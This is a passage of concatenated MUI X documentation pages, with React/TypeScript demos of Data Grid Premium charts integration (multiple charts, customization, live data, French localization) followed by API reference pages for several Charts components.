      ...initialState,
      pivoting: {
        model: initialPivotModel,
        enabled: true,
      },
      sidebar: {
        open: true,
        value: GridSidebarValue.Charts,
      },
      chartsIntegration: {
        charts: {
          main: {
            dimensions: ['commodity'],
            values: [],
            chartType: 'column',
          },
        },
      },
    },
  });

  const hasInitializedPivotingSeries = React.useRef(false);
  React.useEffect(() => {
    const handleColumnsChange: GridEventListener<'columnsChange'> = () => {
      if (!apiRef.current || hasInitializedPivotingSeries.current) {
        return;
      }

      const unwrappedGroupingModel = Object.keys(
        gridColumnGroupsUnwrappedModelSelector(apiRef),
      );
      // wait until pivoting creates column grouping model
      if (unwrappedGroupingModel.length === 0) {
        return;
      }

      const pivotModel = gridPivotModelSelector(apiRef);
      const targetField = pivotModel.values.find(
        (value) => value.hidden !== true,
      )?.field;

      hasInitializedPivotingSeries.current = true;

      if (targetField) {
        apiRef.current.updateChartValuesData(
          'main',
          unwrappedGroupingModel
            .filter((field) => field.endsWith(targetField))
            .map((field) => ({ field })),
        );
      }
    };

    return apiRef.current?.subscribeEvent('columnsChange', handleColumnsChange);
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 600, paddingBottom: 16 }}>
          <DataGridPremium
            columns={columns}
            dataSource={dataSource}
            apiRef={apiRef}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            initialState={initialStateUpdated}
            aggregationFunctions={aggregationFunctions}
            pivotingColDef={pivotingColDef}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy id="main" renderer={ChartsRenderer} />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Multiple charts

Control multiple charts with one grid by adding more `<GridChartsRendererProxy />` components with unique IDs.
Each chart can have its own configuration and state.

```tsx
<GridChartsRendererProxy id="quantity" label="Quantity" renderer={ChartsRenderer} />
<GridChartsRendererProxy id="feeRate" label="Fee Rate" renderer={ChartsRenderer} />
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  gridColumnGroupsUnwrappedModelSelector,
  GridEventListener,
  GridPivotModel,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function GridChartsIntegrationMultipleCharts() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 1000,
    editable: true,
  });
  const apiRef = useGridApiRef();

  const pivotModel: GridPivotModel = {
    rows: [{ field: 'dateCreated-quarter' }],
    columns: [
      { field: 'maturityDate-year', sort: 'asc' },
      { field: 'maturityDate-quarter', sort: 'asc' },
    ],
    values: [
      { field: 'quantity', aggFunc: 'sum' },
      { field: 'feeRate', aggFunc: 'avg' },
    ],
  };

  const initialState = {
    ...data.initialState,
    pivoting: {
      model: pivotModel,
      enabled: true,
    },
    chartsIntegration: {
      charts: {
        quantity: {
          chartType: 'bar',
        },
        feeRate: {
          chartType: 'line',
        },
      },
    },
  };

  const hasInitializedPivotingSeries = React.useRef(false);
  React.useEffect(() => {
    const handleColumnVisibilityModelChange: GridEventListener<
      'columnVisibilityModelChange'
    > = () => {
      if (hasInitializedPivotingSeries.current) {
        return;
      }

      const unwrappedGroupingModel = Object.keys(
        gridColumnGroupsUnwrappedModelSelector(apiRef),
      );
      // wait until pivoting creates column grouping model
      if (unwrappedGroupingModel.length === 0) {
        return;
      }

      hasInitializedPivotingSeries.current = true;

      // add columns dynamically created by pivoting
      // they cannot be added to the initial state because they are not available at that time and will be cleaned up by the state initializer
      apiRef.current?.updateChartDimensionsData('quantity', [
        { field: 'dateCreated-quarter', hidden: false },
      ]);
      apiRef.current?.updateChartValuesData(
        'quantity',
        unwrappedGroupingModel
          .filter((field) => field.endsWith('quantity'))
          .slice(0, 5)
          .map((field, index) => ({ field, hidden: index >= 3 })),
      );
      apiRef.current?.updateChartDimensionsData('feeRate', [
        { field: 'dateCreated-quarter', hidden: false },
      ]);
      apiRef.current?.updateChartValuesData(
        'feeRate',
        unwrappedGroupingModel
          .filter((field) => field.endsWith('feeRate'))
          .slice(0, 5)
          .map((field, index) => ({ field, hidden: index >= 3 })),
      );
    };

    return apiRef.current?.subscribeEvent(
      'columnVisibilityModelChange',
      handleColumnVisibilityModelChange,
    );
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 575, paddingBottom: 16 }}>
          <DataGridPremium
            {...data}
            apiRef={apiRef}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            initialState={initialState}
            checkboxSelection
            columnGroupHeaderHeight={35}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <div style={{ marginTop: 32, marginRight: 32, display: 'flex' }}>
          <GridChartsRendererProxy
            id="quantity"
            label="Quantity"
            renderer={ChartsRenderer}
          />
          <GridChartsRendererProxy
            id="feeRate"
            label="Fee Rate"
            renderer={ChartsRenderer}
          />
        </div>
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Customization

Customize the chart configuration and rendering by:

- Overriding configuration options to force certain values.
  Use it to hide or lock configuration controls in the panel.
- Using the `onRender()` prop on `<GridChartsRendererProxy />` to customize chart rendering for one or all chart types.

The demo below overrides the configuration and removes the option to change the color palette.
Additionally, it adds axes formatting for line and area chart that cannot be controlled via the default customization panel.

If needed, you can extend the configuration to render the UI elements for the additional customized axes.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  GridSidebarValue,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  DataGridPremiumProps,
  GridChartsPanelProps,
  useGridApiRef,
  GridEventListener,
  gridColumnGroupsUnwrappedModelSelector,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
  GridChartsConfigurationSection,
} from '@mui/x-charts-premium/ChartsRenderer';
import { downloads } from './dataset';

const columns: GridColDef[] = [
  { field: 'id', chartable: false },
  { field: 'timestamp', headerName: 'Timestamp', type: 'date' },
  { field: 'version', headerName: 'Version', width: 100 },
  { field: 'downloads', headerName: 'Downloads', type: 'number' },
];

const versions = Object.keys(
  downloads.versionDownloads,
) as (keyof typeof downloads.versionDownloads)[];

const rows: GridRowModel[] = [];
for (let i = 0; i < downloads.timestamps.length; i += 1) {
  for (let j = 0; j < versions.length; j += 1) {
    rows.push({
      id: `${i}-${j}`,
      timestamp: new Date(downloads.timestamps[i]),
      version: versions[j],
      downloads: downloads.versionDownloads[versions[j]][i],
    });
  }
}

const hideColorsControl = (sections: GridChartsConfigurationSection[]) =>
  sections.map((section) => ({
    ...section,
    controls: {
      ...section.controls,
      colors: {
        ...section.controls.colors,
        isHidden: () => true,
      },
    },
  }));

const customConfiguration = {
  bar: {
    ...configurationOptions.bar,
    customization: hideColorsControl(configurationOptions.bar.customization),
    maxDimensions: 1,
  },
  column: {
    ...configurationOptions.column,
    customization: hideColorsControl(configurationOptions.column.customization),
    maxDimensions: 1,
  },
  line: {
    ...configurationOptions.line,
    customization: hideColorsControl(configurationOptions.line.customization),
    maxDimensions: 1,
  },
  area: {
    ...configurationOptions.area,
    customization: hideColorsControl(configurationOptions.area.customization),
    maxDimensions: 1,
  },
};

const gridPivotModel: GridPivotModel = {
  rows: [{ field: 'timestamp' }],
  columns: [{ field: 'majorVersion', sort: 'asc' }],
  values: [{ field: 'downloads', aggFunc: 'sum' }],
};

const getPivotDerivedColumns: DataGridPremiumProps['getPivotDerivedColumns'] = (
  column,
) => {
  if (column.field === 'version') {
    return [
      {
        field: 'majorVersion',
        headerName: `Major version`,
        type: 'number',
        valueGetter: (_, row) => Number(row.version.split('.')[0]),
        valueFormatter: (value: string) => `v${value}`,
      },
    ];
  }
  return undefined;
};

const initialState = {
  sidebar: {
    open: true,
    value: GridSidebarValue.Charts,
  },
  pivoting: {
    enabled: true,
    model: gridPivotModel,
  },
  chartsIntegration: {
    charts: {
      main: {
        dimensions: ['timestamp'],
        values: [],
        chartType: 'line',
        configuration: {
          showMark: false,
          grid: 'both',
          height: 400,
        },
      },
    },
  },
};

const getColumnName: GridChartsPanelProps['getColumnName'] = (field) => {
  if (field === 'downloads') {
    return 'Downloads';
  }
  if (!field.endsWith('downloads')) {
    return undefined;
  }
  return `v${field[0]}`;
};

const dateFormatter = (value: string | Date) =>
  new Date(value).toLocaleDateString('en-US', {
    month: '2-digit',
    year: '2-digit',
  });
const downloadsFormatter = (value: number) =>
  value === 0 ? '0' : `${Math.round(value / 1000)}k`;

const onRender = (
  type: string,
  props: Record<string, any>,
  Component: React.ComponentType<any>,
) => {
  let adjustedProps = props;

  if (type === 'line' || type === 'area') {
    adjustedProps = {
      ...adjustedProps,
      xAxis: props.xAxis.map((axis: any) => ({
        ...axis,
        scaleType: 'time',
        domainLimit: 'strict',
        valueFormatter: dateFormatter,
      })),
      yAxis: props.yAxis.map((axis: any) => ({
        ...axis,
        valueFormatter: downloadsFormatter,
      })),
    };
  }

  if (type === 'bar') {
    adjustedProps = {
      ...adjustedProps,
      xAxis: [
        {
          valueFormatter: downloadsFormatter,
        },
      ],
      yAxis: adjustedProps.yAxis.map((axis: any) => ({
        ...axis,
        valueFormatter: dateFormatter,
        tickInterval: (_: any, index: number) => index % 10 === 0,
      })),
    };
  }

  if (type === 'column') {
    adjustedProps = {
      ...adjustedProps,
      xAxis: adjustedProps.xAxis.map((axis: any) => ({
        ...axis,
        valueFormatter: dateFormatter,
      })),
      yAxis: [
        {
          valueFormatter: downloadsFormatter,
        },
      ],
    };
  }

  return <Component {...adjustedProps} />;
};

export default function GridChartsIntegrationCustomization() {
  const apiRef = useGridApiRef();

  React.useEffect(() => {
    const handleColumnsChange: GridEventListener<'columnsChange'> = () => {
      const unwrappedGroupingModel = Object.keys(
        gridColumnGroupsUnwrappedModelSelector(apiRef),
      );
      if (unwrappedGroupingModel.length === 0) {
        return;
      }

      // pick up the all major versions
      apiRef.current?.updateChartValuesData(
        'main',
        unwrappedGroupingModel.map((field) => ({ field })),
      );

      if (unsubscribe) {
        unsubscribe();
      }
    };

    const unsubscribe = apiRef.current?.subscribeEvent(
      'columnsChange',
      handleColumnsChange,
    );
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 575, paddingBottom: 16 }}>
          <DataGridPremium
            apiRef={apiRef}
            columns={columns}
            rows={rows}
            showToolbar
            label="Data Grid downloads"
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: customConfiguration,
                getColumnName,
              },
            }}
            getPivotDerivedColumns={getPivotDerivedColumns}
            initialState={initialState}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy
          id="main"
          renderer={ChartsRenderer}
          onRender={onRender}
        />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Live data

The demo below shows how the Charts react to live data updates in the Grid.

```tsx
import * as React from 'react';
import { interval } from 'rxjs';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  GridColDef,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import { randomInt } from '@mui/x-data-grid-generator';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';
import { BarChartPro, BarChartProProps } from '@mui/x-charts-pro/BarChartPro';
import { AxisConfig } from '@mui/x-charts/models';

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'process', headerName: 'Process', width: 150 },
  {
    field: 'cpu',
    headerName: 'CPU',
    width: 100,
    type: 'number',
    valueFormatter: (value) => `${value}%`,
  },
  {
    field: 'memory',
    headerName: 'Memory',
    width: 100,
    type: 'number',
    valueFormatter: (value) => `${value} MB`,
  },
];

const processDefinitions = [
  { name: 'chrome', minCpu: 20, maxCpu: 80, minMemory: 950, maxMemory: 1000 },
  { name: 'finder', minCpu: 0, maxCpu: 5, minMemory: 250, maxMemory: 300 },
  { name: 'mail', minCpu: 0, maxCpu: 5, minMemory: 375, maxMemory: 400 },
  { name: 'terminal', minCpu: 3, maxCpu: 10, minMemory: 120, maxMemory: 160 },
  { name: 'adobe', minCpu: 50, maxCpu: 90, minMemory: 3700, maxMemory: 3900 },
  { name: 'firefox', minCpu: 3, maxCpu: 20, minMemory: 670, maxMemory: 700 },
  { name: 'slack', minCpu: 1, maxCpu: 10, minMemory: 480, maxMemory: 500 },
  { name: 'chrome', minCpu: 3, maxCpu: 30, minMemory: 770, maxMemory: 790 },
  { name: 'spotify', minCpu: 1, maxCpu: 10, minMemory: 220, maxMemory: 250 },
  { name: 'chrome', minCpu: 12, maxCpu: 25, minMemory: 350, maxMemory: 400 },
  { name: 'chrome', minCpu: 20, maxCpu: 30, minMemory: 550, maxMemory: 600 },
];

const customConfigurationOptions = Object.fromEntries(
  Object.entries(configurationOptions).filter(([key]) => key === 'column'),
);

export default function GridChartsIntegrationLiveData() {
  const apiRef = useGridApiRef();

  React.useEffect(() => {
    const subscription = interval(1000).subscribe(() => {
      apiRef.current?.updateRows(generateRows());
    });

    return () => {
      subscription.unsubscribe();
    };
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 420, paddingBottom: 16 }}>
          <DataGridPremium
            apiRef={apiRef}
            columns={columns}
            rows={generateRows()}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: customConfigurationOptions,
              },
            }}
            initialState={{
              columns: {
                columnVisibilityModel: {
                  id: false,
                },
              },
              chartsIntegration: {
                charts: {
                  left: {
                    dimensions: ['process'],
                    values: ['cpu'],
                    chartType: 'column',
                    configuration: {
                      grid: 'horizontal',
                      colors: 'blueberryTwilightPalette',
                    },
                  },
                  right: {
                    dimensions: ['process'],
                    values: ['memory'],
                    chartType: 'column',
                    configuration: {
                      grid: 'horizontal',
                      colors: 'mangoFusionPalette',
                    },
                  },
                },
              },
              sorting: {
                sortModel: [{ field: 'cpu', sort: 'desc' }],
              },
            }}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <div style={{ marginTop: 32, marginRight: 32, display: 'flex' }}>
          <GridChartsRendererProxy
            id="left"
            label="CPU"
            renderer={ChartsRenderer}
            onRender={getOnRender(100, '%')}
          />
          <GridChartsRendererProxy
            id="right"
            label="Memory"
            renderer={ChartsRenderer}
            onRender={getOnRender(4096, 'MB')}
          />
        </div>
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

function generateRows() {
  return processDefinitions.map((process, index) => ({
    id: index,
    process: process.name,
    cpu: randomInt(process.minCpu, process.maxCpu),
    memory: randomInt(process.minMemory, process.maxMemory),
  }));
}

function getOnRender(max: number, unit: string) {
  return function onRender(
    type: string,
    props: Record<string, any>,
    Component: React.ComponentType<any>,
  ) {
    if (type !== 'column') {
      return <Component {...props} />;
    }

    const series = props.series.map((seriesItem: AxisConfig) => ({
      ...seriesItem,
      label: `${seriesItem.label} (${unit})`,
    }));

    const yAxis = [
      {
        min: 0,
        max,
        valueFormatter: (value: number) => `${value} ${unit}`,
        width: 60,
      },
    ];

    return (
      <BarChartPro {...(props as BarChartProProps)} series={series} yAxis={yAxis} />
    );
  };
}

```

## Localization

To localize all components included in the Charts integration, choose one method for both the [Grid](/x/react-data-grid/localization/) and [Charts](/x/react-charts/localization/).
We recommend using `createTheme()` and `ThemeProvider`.

To get localized configuration options, use `getLocalizedConfigurationOptions()` instead of `configurationOptions`.

The demo below shows how to incorporate localization into the integration using the `frFr` locale.

```tsx
import * as React from 'react';
import { createTheme, useTheme, ThemeProvider } from '@mui/material/styles';
import { useDemoData } from '@mui/x-data-grid-generator';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  gridColumnGroupsUnwrappedModelSelector,
  GridEventListener,
  GridPivotModel,
  useGridApiRef,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';
import { frFR as frFRGrid } from '@mui/x-data-grid-premium/locales';
import {
  ChartsRenderer,
  getLocalizedConfigurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';
import { frFR as frFRCharts, frFRLocalText } from '@mui/x-charts-premium/locales';

const configurationOptions = getLocalizedConfigurationOptions(frFRLocalText); // localized chart configuration options

const frColumnHeaderNames = {
  commodity: 'Matière première',
  maturityDate: 'Date de maturité',
  quantity: 'Quantité',
  feeRate: 'Taux de frais',
};

export default function GridChartsIntegrationLocalization() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 1000,
    editable: true,
  });
  const apiRef = useGridApiRef();

  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();
  const theme = React.useMemo(
    () => createTheme(frFRGrid, frFRCharts, existingTheme),
    [existingTheme],
  );

  const columns = React.useMemo(
    () =>
      data.columns.map((column) =>
        frColumnHeaderNames[column.field as keyof typeof frColumnHeaderNames]
          ? {
              ...column,
              headerName:
                frColumnHeaderNames[
                  column.field as keyof typeof frColumnHeaderNames
                ],
            }
          : column,
      ),
    [data.columns],
  );

  const pivotModel: GridPivotModel = {
    rows: [{ field: 'commodity' }],
    columns: [
      { field: 'maturityDate-year', sort: 'asc' },
      { field: 'maturityDate-quarter', sort: 'asc' },
    ],
    values: [
      { field: 'quantity', aggFunc: 'sum' },
      { field: 'feeRate', aggFunc: 'avg' },
    ],
  };

  const initialState = {
    ...data.initialState,
    pivoting: {
      model: pivotModel,
      enabled: true,
    },
    sidebar: {
      open: true,
      value: GridSidebarValue.Charts,
    },
    chartsIntegration: {
      charts: {
        main: {
          dimensions: ['commodity'],
          chartType: 'column',
        },
      },
    },
  };

  const hasInitializedPivotingSeries = React.useRef(false);
  React.useEffect(() => {
    const handleColumnVisibilityModelChange: GridEventListener<
      'columnVisibilityModelChange'
    > = () => {
      if (hasInitializedPivotingSeries.current) {
        return;
      }

      const unwrappedGroupingModel = Object.keys(
        gridColumnGroupsUnwrappedModelSelector(apiRef),
      );
      // wait until pivoting creates column grouping model
      if (unwrappedGroupingModel.length === 0) {
        return;
      }

      hasInitializedPivotingSeries.current = true;
      // pick up the first 5 dyamically created columns with quantity in the name and enable first 3
      apiRef.current?.updateChartValuesData(
        'main',
        unwrappedGroupingModel
          .filter((field) => field.endsWith('quantity'))
          .slice(0, 5)
          .map((field, index) => ({ field, hidden: index >= 3 })),
      );
    };

    return apiRef.current?.subscribeEvent(
      'columnVisibilityModelChange',
      handleColumnVisibilityModelChange,
    );
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <ThemeProvider theme={theme}>
        <div style={{ gap: 32, width: '100%' }}>
          <div style={{ height: 575, paddingBottom: 16 }}>
            <DataGridPremium
              {...data}
              apiRef={apiRef}
              columns={columns}
              showToolbar
              chartsIntegration
              slots={{
                chartsPanel: GridChartsPanel,
              }}
              slotProps={{
                chartsPanel: {
                  schema: configurationOptions,
                },
              }}
              initialState={initialState}
              checkboxSelection
              columnGroupHeaderHeight={35}
              experimentalFeatures={{
                charts: true,
              }}
            />
          </div>
          <GridChartsRendererProxy id="main" renderer={ChartsRenderer} />
        </div>
      </ThemeProvider>
    </GridChartsIntegrationContextProvider>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/charts-item-tooltip-content.md

# ChartsItemTooltipContent API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Tooltip](/x/react-charts/tooltip/)

## Import

```jsx
import { ChartsItemTooltipContent } from '@mui/x-charts/ChartsTooltip';
// or
import { ChartsItemTooltipContent } from '@mui/x-charts';
// or
import { ChartsItemTooltipContent } from '@mui/x-charts-pro';
// or
import { ChartsItemTooltipContent } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsTooltip/ChartsItemTooltipContent.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsTooltip/ChartsItemTooltipContent.tsx)

---

# Source: https://mui.com/x/api/charts/charts-localization-provider.md

# ChartsLocalizationProvider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Localization](/x/react-charts/localization/)

## Import

```jsx
import { ChartsLocalizationProvider } from '@mui/x-charts/ChartsLocalizationProvider';
// or
import { ChartsLocalizationProvider } from '@mui/x-charts';
// or
import { ChartsLocalizationProvider } from '@mui/x-charts-pro';
// or
import { ChartsLocalizationProvider } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| localeText | `object` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsLocalizationProvider/ChartsLocalizationProvider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsLocalizationProvider/ChartsLocalizationProvider.tsx)

---

# Source: https://mui.com/x/api/data-grid/charts-panel-trigger.md

# ChartsPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Charts Panel component 🚧

## Import

```jsx
import { ChartsPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { ChartsPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/chartsPanel/ChartsPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/chartsPanel/ChartsPanelTrigger.tsx)

---

# Source: https://mui.com/x/react-data-grid/components/charts-panel.md

---
title: Data Grid - Charts Panel component
productId: x-data-grid
components: ChartsPanelTrigger
packageName: '@mui/x-data-grid-premium'
githubLabel: 'scope: data grid'
---

# Data Grid - Charts Panel component [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') 🚧

Customize the Data Grid's Charts panel.

:::warning
This component is incomplete.

Currently, the Charts Panel Trigger is the only part of the Charts Panel component available.
Future versions of the Charts Panel component will make it possible to compose each of its parts for full customization.

:::

The Charts panel is part of the [Charts integration feature](/x/react-data-grid/charts-integration/).

You can use the Charts Panel Trigger and [Toolbar](/x/react-data-grid/components/toolbar/) components when you need to customize the Charts panel trigger, or when implementing a custom toolbar.

## Basic usage

The demo below shows how to add a Charts Panel Trigger to a custom toolbar.

```tsx
import {
  DataGridPremium,
  Toolbar,
  ToolbarButton,
  ChartsPanelTrigger,
  GridChartsPanel,
  GridChartsIcon,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';
import Tooltip from '@mui/material/Tooltip';
import { configurationOptions } from '@mui/x-charts-premium/ChartsRenderer';

function CustomToolbar() {
  return (
    <Toolbar>
      <Tooltip title="Charts">
        <ChartsPanelTrigger render={<ToolbarButton />}>
          <GridChartsIcon fontSize="small" />
        </ChartsPanelTrigger>
      </Tooltip>
    </Toolbar>
  );
}

export default function GridChartsPanelTrigger() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 10,
    maxColumns: 10,
  });

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ height: 400, width: '100%' }}>
        <DataGridPremium
          {...data}
          loading={loading}
          chartsIntegration
          slots={{ toolbar: CustomToolbar, chartsPanel: GridChartsPanel }}
          slotProps={{
            chartsPanel: {
              schema: configurationOptions,
            },
          }}
          showToolbar
          initialState={{
            ...data.initialState,
            chartsIntegration: {
              charts: {
                main: {
                  chartType: 'column',
                },
              },
            },
          }}
          experimentalFeatures={{
            charts: true,
          }}
        />
      </div>
      <GridChartsRendererProxy id="main" renderer={() => null} />
    </GridChartsIntegrationContextProvider>
  );
}

```

## Anatomy

```tsx
import { ChartsPanelTrigger } from '@mui/x-data-grid-premium';

<ChartsPanelTrigger />;
```

### Charts Panel Trigger

`<ChartsPanelTrigger />` is a button that opens and closes the Charts panel.
It renders the `baseButton` slot.

## Custom elements

Use the `render` prop to replace default elements.
See [Components usage—Customization](/x/react-data-grid/components/usage/#customization) for more details.

## Accessibility

### ARIA

You must apply a text label or an `aria-label` attribute to the `<ChartsPanelTrigger />`.


# ChartsPanelTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Charts Panel component 🚧

## Import

```jsx
import { ChartsPanelTrigger } from '@mui/x-data-grid-premium/components';
// or
import { ChartsPanelTrigger } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/chartsPanel/ChartsPanelTrigger.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/chartsPanel/ChartsPanelTrigger.tsx)

---

# Source: https://mui.com/x/api/charts/charts-reference-line.md

# ChartsReferenceLine API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Axis](/x/react-charts/axis/)

## Import

```jsx
import { ChartsReferenceLine } from '@mui/x-charts/ChartsReferenceLine';
// or
import { ChartsReferenceLine } from '@mui/x-charts';
// or
import { ChartsReferenceLine } from '@mui/x-charts-pro';
// or
import { ChartsReferenceLine } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| axisId | `number \| string` | `The `id` of the first defined axis.` | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| label | `string` | - | No |  |
| labelAlign | `'end' \| 'middle' \| 'start'` | `'middle'` | No |  |
| labelStyle | `object` | - | No |  |
| lineStyle | `object` | - | No |  |
| spacing | `number \| { x?: number, y?: number }` | `{ x: 0, y: 5 } on a horizontal line and { x: 5, y: 0 } on a vertical line.` | No |  |
| x | `Date \| number \| string` | - | No |  |
| y | `Date \| number \| string` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | horizontal | Styles applied to the root element if the reference line is horizontal. |
| - | label | Styles applied to the reference label. |
| - | line | Styles applied to the reference line. |
| - | root | Styles applied to the root element. |
| - | vertical | Styles applied to the root element if the reference line is vertical. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsReferenceLine/ChartsReferenceLine.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsReferenceLine/ChartsReferenceLine.tsx)

---

# Source: https://mui.com/x/api/charts/charts-surface.md

# ChartsSurface API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Custom components](/x/react-charts/components/)
- [Charts - Composition](/x/react-charts/composition/)

## Import

```jsx
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
// or
import { ChartsSurface } from '@mui/x-charts';
// or
import { ChartsSurface } from '@mui/x-charts-pro';
// or
import { ChartsSurface } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsSurface/ChartsSurface.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsSurface/ChartsSurface.tsx)

---

# Source: https://mui.com/x/api/charts/charts-text.md

# ChartsText API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Axis](/x/react-charts/axis/)
- [Charts - Legend](/x/react-charts/legend/)

## Import

```jsx
import { ChartsText } from '@mui/x-charts/ChartsText';
// or
import { ChartsText } from '@mui/x-charts';
// or
import { ChartsText } from '@mui/x-charts-pro';
// or
import { ChartsText } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| text | `string` | - | Yes |  |
| lineHeight | `number` | - | No |  |
| needsComputation | `bool` | `false` | No |  |
| style | `object` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsText/ChartsText.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsText/ChartsText.tsx)

---

# Source: https://mui.com/x/api/charts/charts-toolbar-image-export-trigger.md

# ChartsToolbarImageExportTrigger API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Toolbar](/x/react-charts/toolbar/)

## Import

```jsx
